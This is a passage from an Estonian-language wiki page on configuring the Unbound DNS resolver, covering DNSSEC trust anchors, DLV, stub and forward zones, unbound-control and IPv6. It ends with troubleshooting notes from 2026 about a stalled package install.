* http://blogs.pcmag.com/securitywatch/2011/03/dnssec_in_com_domain_is_a_good.php&lt;br /&gt;
&lt;br /&gt;
====Signeeritud tsoonifailiga juurnimeserverite kasutamine====&lt;br /&gt;
&lt;br /&gt;
Unbound seadistamiseks tuleb kasutada seadistusfailis rida&lt;br /&gt;
&lt;br /&gt;
 auto-trust-anchor-file: &amp;quot;root.key&amp;quot;&lt;br /&gt;
&lt;br /&gt;
kusjuures fail peab olema unbound protsessile kirjutatav ning esialgselt sisaldama rida (as per http://unbound.net/documentation/howto_anchor.html)&lt;br /&gt;
&lt;br /&gt;
 # cat /var/unbound/etc/root.key&lt;br /&gt;
 . IN DS 19036 8 2 49AAC11D7B6F6446702E54A1607371607A1A41855200FD2CE1CDDE32F24E8FB5&lt;br /&gt;
&lt;br /&gt;
 # chown _unbound /var/unbound/etc&lt;br /&gt;
 # chown _unbound:_unbound /var/unbound/etc/root.key&lt;br /&gt;
&lt;br /&gt;
Peale unbound protsessi käivitamist selle faili sisu muutub automaatselt.&lt;br /&gt;
&lt;br /&gt;
Kontrollimiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 $ dig . ns +dnssec +multiline&lt;br /&gt;
 &lt;br /&gt;
 ; &amp;lt;&amp;lt;&amp;gt;&amp;gt; DiG 9.7.2-P3 &amp;lt;&amp;lt;&amp;gt;&amp;gt; . ns +dnssec +multiline&lt;br /&gt;
 ;; global options: +cmd&lt;br /&gt;
 ;; Got answer:&lt;br /&gt;
 ;; -&amp;gt;&amp;gt;HEADER&amp;lt;&amp;lt;- opcode: QUERY, status: NOERROR, id: 4737&lt;br /&gt;
 ;; flags: qr rd ra ad; QUERY: 1, ANSWER: 14, AUTHORITY: 0, ADDITIONAL: 1&lt;br /&gt;
 &lt;br /&gt;
 ;; OPT PSEUDOSECTION:&lt;br /&gt;
 ; EDNS: version: 0, flags: do; udp: 4096&lt;br /&gt;
 ;; QUESTION SECTION:&lt;br /&gt;
 ;.                      IN NS&lt;br /&gt;
 &lt;br /&gt;
 ;; ANSWER SECTION:&lt;br /&gt;
 .                       518267 IN NS m.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS g.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS b.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS h.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS a.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS e.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS k.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS f.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS c.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS j.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS i.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS l.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS d.root-servers.net.&lt;br /&gt;
 .                       518267 IN RRSIG NS 8 0 518400 20110409000000 (&lt;br /&gt;
                                 20110401230000 34525 .&lt;br /&gt;
                                 De4SFgTDwpgbz1JjTlaPzu7ZNRURLSnoYmQQQIZq7Gny&lt;br /&gt;
                                 RghOrsvS1soH5F43Gxr5BIi+422EBLJIrEHFnbvLy22S&lt;br /&gt;
                                 LqKtSw67eDdsBZyjE5fTtDHyYhnoR8YQWswgGVMRk4Ek&lt;br /&gt;
                                 iDDMIOk5pF+CvbML6TlvTWrnPCwNWXnbLFnT9SY= )&lt;br /&gt;
 &lt;br /&gt;
 ;; Query time: 0 msec&lt;br /&gt;
 ;; SERVER: 10.192.0.53#53(10.192.0.53)&lt;br /&gt;
 ;; WHEN: Sat Apr  2 18:44:16 2011&lt;br /&gt;
 ;; MSG SIZE  rcvd: 397&lt;br /&gt;
&lt;br /&gt;
kus tuleb tähele panna&lt;br /&gt;
&lt;br /&gt;
* vastus sisaldab RRSIG kirjet&lt;br /&gt;
* flags: qr rd ra ad - ad tähistab, et tegu on authoritative data sisaldusega&lt;br /&gt;
&lt;br /&gt;
====DLV====&lt;br /&gt;
&lt;br /&gt;
DLV seadistamiseks tuleb &lt;br /&gt;
&lt;br /&gt;
* kopeerida trust anchor fail kataloogi /var/unbound/etc&lt;br /&gt;
&lt;br /&gt;
  # cd /var/unbound/etc&lt;br /&gt;
  # ftp http://ftp.isc.org/www/dlv/dlv.isc.org.key&lt;br /&gt;
&lt;br /&gt;
* Unbound seadistusfailis kasutada rida&lt;br /&gt;
&lt;br /&gt;
  dlv-anchor-file: &amp;quot;dlv.isc.org.key&lt;br /&gt;
&lt;br /&gt;
Valideeritud nimepäringu vastus näeb välja nt selline&lt;br /&gt;
&lt;br /&gt;
  $ dig www.kaminskybug.se a +dnssec +multiline&lt;br /&gt;
  &lt;br /&gt;
  ; &amp;lt;&amp;lt;&amp;gt;&amp;gt; DiG 9.5.1-P3 &amp;lt;&amp;lt;&amp;gt;&amp;gt; www.kaminskybug.se a +dnssec +multiline&lt;br /&gt;
  ;; global options:  printcmd&lt;br /&gt;
  ;; Got answer:&lt;br /&gt;
  ;; -&amp;gt;&amp;gt;HEADER&amp;lt;&amp;lt;- opcode: QUERY, status: NOERROR, id: 56069&lt;br /&gt;
  ;; flags: qr rd ra ad; QUERY: 1, ANSWER: 4, AUTHORITY: 4, ADDITIONAL: 1&lt;br /&gt;
  &lt;br /&gt;
  ;; OPT PSEUDOSECTION:&lt;br /&gt;
  ; EDNS: version: 0, flags: do; udp: 4096&lt;br /&gt;
  ;; QUESTION SECTION:&lt;br /&gt;
  ;www.kaminskybug.se.    IN A&lt;br /&gt;
  &lt;br /&gt;
  ;; ANSWER SECTION:&lt;br /&gt;
  www.kaminskybug.se.     3590 IN CNAME fou.iis.se.&lt;br /&gt;
  www.kaminskybug.se.     3590 IN RRSIG CNAME 5 3 3600 20100205210001 (&lt;br /&gt;
                                  20100126210001 13358 kaminskybug.se.&lt;br /&gt;
                                  goEav1vWK49WEvGY/G1EBKOgekQk11JvjsQxE7chH6Kg&lt;br /&gt;
                                  OwZNpOXwomE1z9zvLcwkD60CQAZWC9psA1z01iIwtOrt&lt;br /&gt;
                                  Yq6L+2A0PLVAAuRYeY3CQnbHoHRYClCUz0dIkxhtz9f/&lt;br /&gt;
                                  Um1AuC3FtqV6t9q8lLb4ooav0Ex64KuwoPPxqqs= )&lt;br /&gt;
  fou.iis.se.             3590 IN A 212.247.204.242&lt;br /&gt;
  fou.iis.se.             3590 IN RRSIG A 5 3 3600 20100209131501 (&lt;br /&gt;
                                  20100130131501 56315 iis.se.&lt;br /&gt;
                                  BOPpSETDBKu6CjOcz2ULnOnfRVoXfOXj9OjW4zwjPuWl&lt;br /&gt;
                                  7vJ8630yXsuSEe89RuH/ZsuOGbeJnumQ/XmD6ftWL9yM&lt;br /&gt;
                                  MPUF1ZYxCtExaBcIxhxDIFJv4E4RZAOkbb9ZdYKTglIL&lt;br /&gt;
                                  zDleOOms0iVgCAnnWJSnmDpzhfvr8xoTGlh7myE= )&lt;br /&gt;
  &lt;br /&gt;
  ;; AUTHORITY SECTION:&lt;br /&gt;
  iis.se.                 3590 IN NS ns.nic.se.&lt;br /&gt;
  iis.se.                 3590 IN NS ns3.nic.se.&lt;br /&gt;
  iis.se.                 3590 IN NS ns2.nic.se.&lt;br /&gt;
  iis.se.                 3590 IN RRSIG NS 5 2 3600 20100209131501 (&lt;br /&gt;
                                  20100130131501 56315 iis.se.&lt;br /&gt;
                                  B3SheLIv8ouVPpFGjvM8q5fl9ZMnnPWR8x9QDD0uSxoH&lt;br /&gt;
                                  iV2fYHjiKC5a2+8Znsi4zSdO2AmH+reUCP74qvYpkl1K&lt;br /&gt;
                                  +NbEzndzzrJQ0XlT1icy3MC6vdvgdE7Opqjab/7iIiYV&lt;br /&gt;
                                  X9UjZpHKR284EljSrKJ0z53/T+12P3K0VU/dRFE= )&lt;br /&gt;
   &lt;br /&gt;
  ;; Query time: 1 msec&lt;br /&gt;
  ;; SERVER: 10.53.67.69#53(10.53.67.69)&lt;br /&gt;
  ;; WHEN: Sun Jan 31 00:25:39 2010&lt;br /&gt;
  ;; MSG SIZE  rcvd: 648&lt;br /&gt;
&lt;br /&gt;
kus ad lipp annab tunnistust, et vastus on valideeritud&lt;br /&gt;
&lt;br /&gt;
  flags: qr rd ra ad; QUERY: 1, ANSWER: 4, AUTHORITY: 4, ADDITIONAL: 1&lt;br /&gt;
&lt;br /&gt;
====Firefox DNSSEC lisa kasutamine====&lt;br /&gt;
&lt;br /&gt;
Firefox DNSSEC lisa https://addons.mozilla.org/en-us/firefox/addon/dnssec-validator/ abil saab brauseri kasutamise ajal tagasisidet kuidas käesolev nimi on lahendatud, nt&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Unbound-1.gif]]&lt;br /&gt;
&lt;br /&gt;
Seejuures tuleb arvestada, et DNSSEC iseenest tähendab, et nimi lahendes turvaliselt, järgneva andmevahetuse turvalisus on eraldi küsimus ja nt https:// on üks viis selle saavutamiseks.&lt;br /&gt;
&lt;br /&gt;
===domain-insecure tsoonid===&lt;br /&gt;
&lt;br /&gt;
Kui kasutatakse signeeritud tsoonifailiga juurnimeservereid ning mõnele lokaalsele mitte-dnssec nimeserverile viitavaid stub-zone sissekandeid, siis võib olla asjakohane kasutada lisaks ridu&lt;br /&gt;
&lt;br /&gt;
 domain-insecure: &amp;quot;auul&amp;quot;&lt;br /&gt;
 domain-insecure: &amp;quot;10.168.192.in-addr.arpa&amp;quot;&lt;br /&gt;
 domain-insecure: &amp;quot;1.168.192.in-addr.arpa&amp;quot;&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
===Lokaalsed nimekirjeldused===&lt;br /&gt;
&lt;br /&gt;
Lisaks sellele, et Unboundi kasutab nimede lahendamisel võrgus töötavaid autoriteetseid nimeservereid, saab kirjeldada seadistusfailis päri- ja pöördteisendusi&lt;br /&gt;
&lt;br /&gt;
 local-zone: &amp;quot;loomaaed.tartu.ee&amp;quot; static&lt;br /&gt;
 local-data: &amp;quot;loomaaed.tartu.ee A 192.168.10.100&amp;quot;&lt;br /&gt;
 ..&lt;br /&gt;
 local-data-ptr: &amp;quot;192.168.10.100 loomaaed.tartu.ee&amp;quot;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* local-zone - lokaalselt unboundis kirjeldatud tsooni nimi&lt;br /&gt;
* static - sellel positsioonil st type parameeter määrab põhiliselt, kuidas mitte kirjeldatud nime küsimisele vastatakse&lt;br /&gt;
* local-data - päriteisendus&lt;br /&gt;
* local-data-prt - pöördteisendus&lt;br /&gt;
&lt;br /&gt;
type väärtused&lt;br /&gt;
&lt;br /&gt;
* static - local-data abil mitte kirjeldatud nime küsimisele vastatakse NXDOMAIN&lt;br /&gt;
* nodefault - AS112 tsoonide puhul vastab Unbound vaikimisi NXDOMAIN vastusega, nodefault puhul püütakse vastavaid nimesid lahendada&lt;br /&gt;
* transparent - local-data abil mitte kirjeldatud nimi püütakse lahenada internetist, stub-zone abil vms viisil&lt;br /&gt;
* redirect - kõik alamdomeenid vastatakse local-data abil näidatud väärtusega&lt;br /&gt;
&lt;br /&gt;
===Stub tsoon===&lt;br /&gt;
&lt;br /&gt;
Stub tsooni abil saab öelda, millist pädevat nimeserverit kasutada mõne domeeni nimelahenduseks. Praktiliselt võiks seda vaja minna kui asutuses on nt kasutusel mitte-avalik pädev nimeserver ja domeeni 'auul.' nimede lahendamiseks tuleks kasutada seda; vastasel korral püüaks Unbound neid nimesid lahendada pöördudes interneti juurnimeserverite poole.&lt;br /&gt;
&lt;br /&gt;
Seadistusfailis kirjeldatakse stub tsoon selliselt&lt;br /&gt;
&lt;br /&gt;
  stub-zone:&lt;br /&gt;
     name: &amp;quot;auul&amp;quot;&lt;br /&gt;
     stub-addr: 192.168.1.251&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* name - domeeni nimi&lt;br /&gt;
* stub-addr - domeeni pädeva nimeserveri ip aadress&lt;br /&gt;
* stub sõna viitab asjaolule, et Unbound saab näidatud nimeserverilt otse vastuse kätte&lt;br /&gt;
&lt;br /&gt;
Kui stub-zone abil on vaja teha mõne privaatsete aadressidega /24 subneti jaoks pöördteisendusi, siis tuleb tõenäoliselt kasutada koostöös selliseid direktiive&lt;br /&gt;
&lt;br /&gt;
 ..&lt;br /&gt;
 domain-insecure: &amp;quot;10.168.192.in-addr.arpa&amp;quot;&lt;br /&gt;
 domain-insecure: &amp;quot;1.168.192.in-addr.arpa&amp;quot;&lt;br /&gt;
 ...&lt;br /&gt;
 &lt;br /&gt;
 local-zone: &amp;quot;1.168.192.in-addr.arpa.&amp;quot; transparent&lt;br /&gt;
 local-zone: &amp;quot;2.168.192.in-addr.arpa.&amp;quot; transparent&lt;br /&gt;
 ....&lt;br /&gt;
 &lt;br /&gt;
 stub-zone:&lt;br /&gt;
   name: &amp;quot;1.168.192.in-addr.arpa.&amp;quot;&lt;br /&gt;
   stub-addr: 192.168.1.247&lt;br /&gt;
 &lt;br /&gt;
 stub-zone:&lt;br /&gt;
  name: &amp;quot;10.168.192.in-addr.arpa.&amp;quot;&lt;br /&gt;
  stub-addr: 192.168.1.247&lt;br /&gt;
&lt;br /&gt;
Oluline on panna tähele, et korrektsel juhul lahendatakse kirjeldatud tsoonid stub-addr nimeserveri poolt, muud privaatsed aadressid saavad vastuseks (vastuse genereerib Unbound ise)&lt;br /&gt;
&lt;br /&gt;
 $ dig -x 192.168.5.5&lt;br /&gt;
 .. &lt;br /&gt;
 ;; OPT PSEUDOSECTION:&lt;br /&gt;
 ; EDNS: version: 0, flags:; udp: 1480&lt;br /&gt;
 ;; QUESTION SECTION:&lt;br /&gt;
 ;5.5.168.192.in-addr.arpa.      IN      PTR&lt;br /&gt;
 &lt;br /&gt;
 ;; AUTHORITY SECTION:&lt;br /&gt;
 168.192.in-addr.arpa.   10800   IN      SOA     localhost. nobody.invalid. 1 3600 1200 604800 10800&lt;br /&gt;
&lt;br /&gt;
Kui vastus on, siis midagi on valesti, sest Unbound on seda käinud internetis lahendamas&lt;br /&gt;
&lt;br /&gt;
 ..&lt;br /&gt;
 ;; QUESTION SECTION:&lt;br /&gt;
 ;5.5.168.192.in-addr.arpa.     IN      PTR&lt;br /&gt;
 &lt;br /&gt;
 ;; AUTHORITY SECTION:&lt;br /&gt;
 168.192.in-addr.arpa.   86400   IN      SOA     prisoner.iana.org. hostmaster.trex.fi. 1 604800 86400 2419200 86400&lt;br /&gt;
&lt;br /&gt;
===Forward tsoon===&lt;br /&gt;
&lt;br /&gt;
Forward tsooni abil saab öelda, millist rekursiivset nimeserverit kasutada mõne domeeni nimelahenduseks. Seadistusfailis kirjeldatakse forward tsoon selliselt&lt;br /&gt;
&lt;br /&gt;
 forward-zone:&lt;br /&gt;
   name: &amp;quot;loomla.tartu.ee&amp;quot;&lt;br /&gt;
   forward-addr: 10.172.20.10&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* name - domeeninimi&lt;br /&gt;
* forward-addr - rekursiivse nimeserveri aadress&lt;br /&gt;
&lt;br /&gt;
Selleks, et suunata kõik päringud lahendamiseks edasi sobib kasutada&lt;br /&gt;
&lt;br /&gt;
 forward-zone:&lt;br /&gt;
   name: &amp;quot;.&amp;quot;&lt;br /&gt;
   forward-addr: 10.172.20.10&lt;br /&gt;
&lt;br /&gt;
===AS112 tsoonid===&lt;br /&gt;
&lt;br /&gt;
AS112 tsoonide hulka kuuluvad sellised pöördteisenduse tsoonid, vaikimisi vastab AS112 tsooni tehtud päringutele Unbound NXDOMAIN (põhjusel, et sisemiste arvutite poolt tehtud pöördteisenduspäringud ei jõuaks avalikku võrku)&lt;br /&gt;
&lt;br /&gt;
* 10.in-addr.arpa&lt;br /&gt;
* 16.172.in-addr.arpa&lt;br /&gt;
* ...&lt;br /&gt;
* 31.172.in-addr.arpa&lt;br /&gt;
* 168.192.in-addr.arpa&lt;br /&gt;
* 254.169.in-addr.arpa&lt;br /&gt;
* 2.0.192.in-addr.arpa&lt;br /&gt;
* 100.51.198.in-addr.arpa&lt;br /&gt;
* 113.0.203.in-addr.arpa&lt;br /&gt;
&lt;br /&gt;
Lisaks lahendab Unbound vaikimisi mõlemas suunas localhost - 127.0.0.1 teisendust justkui oleks kirjeldatud (sarnaselt on kirjeldatud ka IPv6 ::1)&lt;br /&gt;
&lt;br /&gt;
 local-zone: &amp;quot;localhost.&amp;quot; static&lt;br /&gt;
 local-data: &amp;quot;localhost. 10800 IN NS localhost.&amp;quot;&lt;br /&gt;
 local-data: &amp;quot;localhost. 10800 IN SOA localhost. nobody.invalid. 1 3600 1200 604800 10800&amp;quot;&lt;br /&gt;
 local-data: &amp;quot;localhost. 10800 IN A 127.0.0.1&amp;quot;&lt;br /&gt;
 local-data: &amp;quot;localhost. 10800 IN AAAA ::1&lt;br /&gt;
 ..&lt;br /&gt;
 &lt;br /&gt;
 local-zone: &amp;quot;127.in-addr.arpa.&amp;quot; static&lt;br /&gt;
 local-data: &amp;quot;127.in-addr.arpa. 10800 IN NS localhost.&amp;quot;&lt;br /&gt;
 local-data: &amp;quot;127.in-addr.arpa. 10800 IN SOA localhost. nobody.invalid. 1 3600 1200 604800 10800&amp;quot;&lt;br /&gt;
 local-data: &amp;quot;1.0.0.127.in-addr.arpa. 10800 IN PTR localhost.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Selleks, et asutuse lokaalses autoriteetses nimeserveris kirjeldatud privaatsete aadresside pöördteisendused töötaksid tuleb kirjeldada vastava tsooni jaoks local-zone väärtusega nodefault&lt;br /&gt;
&lt;br /&gt;
  server:&lt;br /&gt;
    ...&lt;br /&gt;
    local-zone: &amp;quot;168.192.in-addr.arpa.&amp;quot; nodefault&lt;br /&gt;
    &lt;br /&gt;
ning nt 192.168.1 võrgu puhul näidata pädeva nimeserveri aadress&lt;br /&gt;
&lt;br /&gt;
  stub-zone:&lt;br /&gt;
     name: &amp;quot;1.168.192.in-addr.arpa.&amp;quot;&lt;br /&gt;
     stub-addr: 192.168.1.251&lt;br /&gt;
&lt;br /&gt;
===Jõudlus===&lt;br /&gt;
&lt;br /&gt;
* Unbound oskab kasutada mitut protsessorit ja nö keskpärasel riistvaral suudab teenidada kümneid tuhandeid päringuid sekundis.&lt;br /&gt;
* Unbound on 2-3 korda kiirem kui Bind.&lt;br /&gt;
&lt;br /&gt;
===Klientprogrammi unbound-host kasutamine===&lt;br /&gt;
&lt;br /&gt;
Klientprogramm unbound-host võimaldab nt kontrollida, kas nimelahenduse valideerimine töötab&lt;br /&gt;
&lt;br /&gt;
  # unbound-host -C unbound.conf -t A -v www.kaminskybug.se &lt;br /&gt;
  [1264938168] libunbound[2566:0] notice: init module 0: validator&lt;br /&gt;
  [1264938168] libunbound[2566:0] notice: init module 1: iterator&lt;br /&gt;
  www.kaminskybug.se is an alias for fou.iis.se. (secure)&lt;br /&gt;
  fou.iis.se has address 212.247.204.242 (secure)&lt;br /&gt;
&lt;br /&gt;
===Haldusprogramm unbound-control===&lt;br /&gt;
&lt;br /&gt;
Haldusprogrammiga unbound-control saab juhtida Unbound resolveri tööd ja küsida statistikat. Kuna unbound-control võimaldab resolveri töötamist oluliselt mõjutada, nt laadida cache sisu tekstifailist või resolveri seisata, siis peab hoolega jälgima, et unbound-control kasutamisele oleks seatud vajalikud piirangud.&lt;br /&gt;
&lt;br /&gt;
====Unbound resolveri ettevalmistamine====&lt;br /&gt;
&lt;br /&gt;
unbound-control suhtleb Unbound serveriga vaikimisi üle 953/tcp pordi. Osaliste autentimiseks kasutatakse avaliku-võtme tehnikat, vajalike võtmete genereerimiseks sobib kasutada unbound-control-setup utiliiti&lt;br /&gt;
&lt;br /&gt;
 # unbound-control-setup&lt;br /&gt;
 ... &lt;br /&gt;
 Signature ok&lt;br /&gt;
 subject=/CN=unbound-control&lt;br /&gt;
 Getting CA Private Key&lt;br /&gt;
 Setup success. Certificates created. Enable in unbound.conf file to use&lt;br /&gt;
&lt;br /&gt;
Tulemusena tekivad /var/unbound/etc kataloogi neli võtit, kask serveri ja kaks kliendi jaoks&lt;br /&gt;
&lt;br /&gt;
  unbound_control.key&lt;br /&gt;
  unbound_control.pem&lt;br /&gt;
  unbound_server.key&lt;br /&gt;
  unbound_server.pem&lt;br /&gt;
&lt;br /&gt;
unbound-control kasutamiseks tuleb vastav funktsionaalsus Unbound serveris sisse lülitada nt sektsiooniga&lt;br /&gt;
&lt;br /&gt;
  remote-control:&lt;br /&gt;
        control-enable: yes&lt;br /&gt;
        control-interface: 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
====unbound-control kasutamine====&lt;br /&gt;
&lt;br /&gt;
Vaikimisi kasutab unbound-control Unbound serveri seadistusfaili, nt sobib alustuseks kasutada unbound serverit ja unbound-control utiliiti samas arvutis.&lt;br /&gt;
&lt;br /&gt;
* Unbound resolveri oleku küsimine&lt;br /&gt;
&lt;br /&gt;
  # unbound-control status             &lt;br /&gt;
  version: 1.3.0&lt;br /&gt;
  verbosity: 1&lt;br /&gt;
  threads: 1&lt;br /&gt;
  modules: 2 [ validator iterator ]&lt;br /&gt;
  uptime: 1184 seconds&lt;br /&gt;
  unbound (pid 23298) is running...&lt;br /&gt;
&lt;br /&gt;
* Resolveri cacheist tsooni loomaaed.tartu.ee andmete kustutamine&lt;br /&gt;
&lt;br /&gt;
  # unbound-control flush_zone loomaaed.tartu.ee&lt;br /&gt;
  ok removed 3 rrsets, 2 messages and 0 key entries&lt;br /&gt;
&lt;br /&gt;
* Cache sisu esitamine&lt;br /&gt;
&lt;br /&gt;
  # unbound-control dump_cache&lt;br /&gt;
&lt;br /&gt;
====Resolveri kasutusstatistika====&lt;br /&gt;
&lt;br /&gt;
Üks unbound-control kasutusjuht on koguda resolveri kasutusstatistikat&lt;br /&gt;
&lt;br /&gt;
  # unbound-control stats_noreset&lt;br /&gt;
&lt;br /&gt;
Praktiliselt on seda sobiv automatiseerida Munin või Cacti tarkvaraga, mida on kirjeldatud aadressil http://www.unbound.net/documentation/howto_statistics.html.&lt;br /&gt;
&lt;br /&gt;
===Unbound ja NSD protsessid samas arvutis===&lt;br /&gt;
&lt;br /&gt;
Unbound seadistusfailis sobib kasutada ridu&lt;br /&gt;
&lt;br /&gt;
 domain-insecure: &amp;quot;loomaaed.tartu.ee&amp;quot;&lt;br /&gt;
 domain-insecure: &amp;quot;loomaaed.tartu.eu&amp;quot;&lt;br /&gt;
 domain-insecure: &amp;quot;loomaaed.tartu.org&amp;quot;&lt;br /&gt;
 ...&lt;br /&gt;
 stub-zone:&lt;br /&gt;
        name: &amp;quot;loomaaed.tartu.ee&amp;quot;&lt;br /&gt;
        stub-addr: 10.193.0.53&lt;br /&gt;
 &lt;br /&gt;
 stub-zone:&lt;br /&gt;
        name: &amp;quot;loomaaed.tartu.eu&amp;quot;&lt;br /&gt;
        stub-addr: 10.193.0.53&lt;br /&gt;
 &lt;br /&gt;
 stub-zone:&lt;br /&gt;
        name: &amp;quot;loomaaed.tartu.org&amp;quot; &lt;br /&gt;
        stub-addr: 10.193.0.53&lt;br /&gt;
&lt;br /&gt;
===IPv6 kasutamine===&lt;br /&gt;
&lt;br /&gt;
IPv6 kasutamiseks tuleb seadistusfailis näidata, millisel IPv6 aadressil protsess kuulab&lt;br /&gt;
&lt;br /&gt;
 interface: 2001:1530:90:11:192::53&lt;br /&gt;
&lt;br /&gt;
ning lubada asjakohastest võrkudest teenuse poole pöörduda, nt&lt;br /&gt;
 &lt;br /&gt;
 access-control: fd99::/64 allow&lt;br /&gt;
&lt;br /&gt;
Lisaks tuleb arvestada seda, et nimepäringute lahendamiseks kasutab Unbound ise IPv4 ja IPv6 võrku.&lt;br /&gt;
&lt;br /&gt;
===2026 kevad märkused===&lt;br /&gt;
&lt;br /&gt;
Takerdub&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# apt-get install unbound&lt;br /&gt;
root@arv:~# apt-get install unbound&lt;br /&gt;
Reading package lists... Done&lt;br /&gt;
Building dependency tree&lt;br /&gt;
Reading state information... Done&lt;br /&gt;
The following additional packages will be installed:&lt;br /&gt;
  libfstrm0 libprotobuf-c1 libunbound2 unbound-anchor&lt;br /&gt;
The following NEW packages will be installed:&lt;br /&gt;
  libfstrm0 libprotobuf-c1 libunbound2 unbound unbound-anchor&lt;br /&gt;
0 upgraded, 5 newly installed, 0 to remove and 49 not upgraded.&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
Setting up unbound (1.6.7-1ubuntu2.6+esm4) ...&lt;br /&gt;
Created symlink /etc/systemd/system/multi-user.target.wants/unbound.service → /lib/systemd/system/unbound.service.&lt;br /&gt;
Created symlink /etc/systemd/system/unbound.service.wants/unbound-resolvconf.service → /lib/systemd/system/unbound-resolvconf.service.&lt;br /&gt;
Job for unbound.service failed because the control process exited with error code.&lt;br /&gt;
See &amp;quot;systemctl status unbound.service&amp;quot; and &amp;quot;journalctl -xe&amp;quot; for details.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Job for unbound.service failed because the control process exited with error code.&lt;br /&gt;
See &amp;quot;systemctl status unbound.service&amp;quot; and &amp;quot;journalctl -xe&amp;quot; for details.&lt;br /&gt;
invoke-rc.d: initscript unbound, action &amp;quot;start&amp;quot; failed.&lt;br /&gt;
● unbound.service - Unbound DNS server&lt;br /&gt;
   Loaded: loaded (/lib/systemd/system/unbound.service; enabled; vendor preset: enabled)&lt;br /&gt;
   Active: activating (auto-restart) (Result: exit-code) since Tue 2026-06-16 11:21:17 EEST; 9ms ago&lt;br /&gt;
     Docs: man:unbound(8)&lt;br /&gt;
  Process: 5650 ExecStart=/usr/sbin/unbound -d $DAEMON_OPTS (code=exited, status=1/FAILURE)&lt;br /&gt;
  Process: 5304 ExecStartPre=/usr/lib/unbound/package-helper root_trust_anchor_update (code=exited, status=0/SUCCESS)&lt;br /&gt;
  Process: 5301 ExecStartPre=/usr/lib/unbound/package-helper chroot_setup (code=exited, status=0/SUCCESS)&lt;br /&gt;
 Main PID: 5650 (code=exited, status=1/FAILURE)&lt;br /&gt;
Processing triggers for libc-bin (2.27-3ubuntu1.6+esm6) ...&lt;br /&gt;
Processing triggers for systemd (237-3ubuntu10.57+esm3) ...&lt;br /&gt;
Processing triggers for man-db (2.8.3-2ubuntu0.1) ...&lt;br /&gt;
&lt;br /&gt;
root      5304  0.0  0.0   4636   896 ?        Ss   11:20   0:00 /bin/sh -e /usr/lib/unbound/package-helper root_trust_anchor_update&lt;br /&gt;
unbound   5307  0.0  0.0  34596  7820 ?        S    11:20   0:00  \_ /usr/sbin/unbound-anchor -a /var/lib/unbound/root.key -v&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@arv:~# systemctl status unbound&lt;br /&gt;
● unbound.service - Unbound DNS server&lt;br /&gt;
   Loaded: loaded (/lib/systemd/system/unbound.service; enabled; vendor preset: enabled)&lt;br /&gt;
   Active: activating (start-pre) since Tue 2026-06-16 11:33:15 EEST; 38s ago&lt;br /&gt;
     Docs: man:unbound(8)&lt;br /&gt;
  Process: 12287 ExecStartPre=/usr/lib/unbound/package-helper chroot_setup (code=exited, status=0/SUCCESS)&lt;br /&gt;
Cntrl PID: 12290 (package-helper)&lt;br /&gt;
    Tasks: 2 (limit: 4915)&lt;br /&gt;
   CGroup: /system.slice/unbound.service&lt;br /&gt;
           ├─12290 /bin/sh -e /usr/lib/unbound/package-helper root_trust_anchor_update&lt;br /&gt;
           └─12293 /usr/sbin/unbound-anchor -a /var/lib/unbound/root.key -v&lt;br /&gt;
&lt;br /&gt;
Jun 16 11:33:15 arv.auul.pri.ee systemd[1]: Starting Unbound DNS server...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
lahenduse koht&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@arv:~# head -n 10 /usr/lib/unbound/package-helper&lt;br /&gt;
#!/bin/sh -e&lt;br /&gt;
&lt;br /&gt;
UNBOUND_CONF=&amp;quot;/etc/unbound/unbound.conf&amp;quot;&lt;br /&gt;
UNBOUND_BASE_DIR=&amp;quot;$(dirname $UNBOUND_CONF)&amp;quot;&lt;br /&gt;
CHROOT_DIR=&amp;quot;$(unbound-checkconf -o chroot)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
DNS_ROOT_KEY_FILE=&amp;quot;/usr/share/dns/root.key&amp;quot;&lt;br /&gt;
ROOT_TRUST_ANCHOR_FILE=&amp;quot;/var/lib/unbound/root.key&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Override these variables by editing or creating /etc/default/unbound.&lt;br /&gt;
&lt;br /&gt;
root@arv:~# head -n 20 /usr/lib/unbound/package-helper&lt;br /&gt;
#!/bin/sh -e&lt;br /&gt;
&lt;br /&gt;
UNBOUND_CONF=&amp;quot;/etc/unbound/unbound.conf&amp;quot;&lt;br /&gt;
UNBOUND_BASE_DIR=&amp;quot;$(dirname $UNBOUND_CONF)&amp;quot;&lt;br /&gt;
CHROOT_DIR=&amp;quot;$(unbound-checkconf -o chroot)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
DNS_ROOT_KEY_FILE=&amp;quot;/usr/share/dns/root.key&amp;quot;&lt;br /&gt;
ROOT_TRUST_ANCHOR_FILE=&amp;quot;/var/lib/unbound/root.key&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Override these variables by editing or creating /etc/default/unbound.&lt;br /&gt;
RESOLVCONF=&amp;quot;true&amp;quot;&lt;br /&gt;
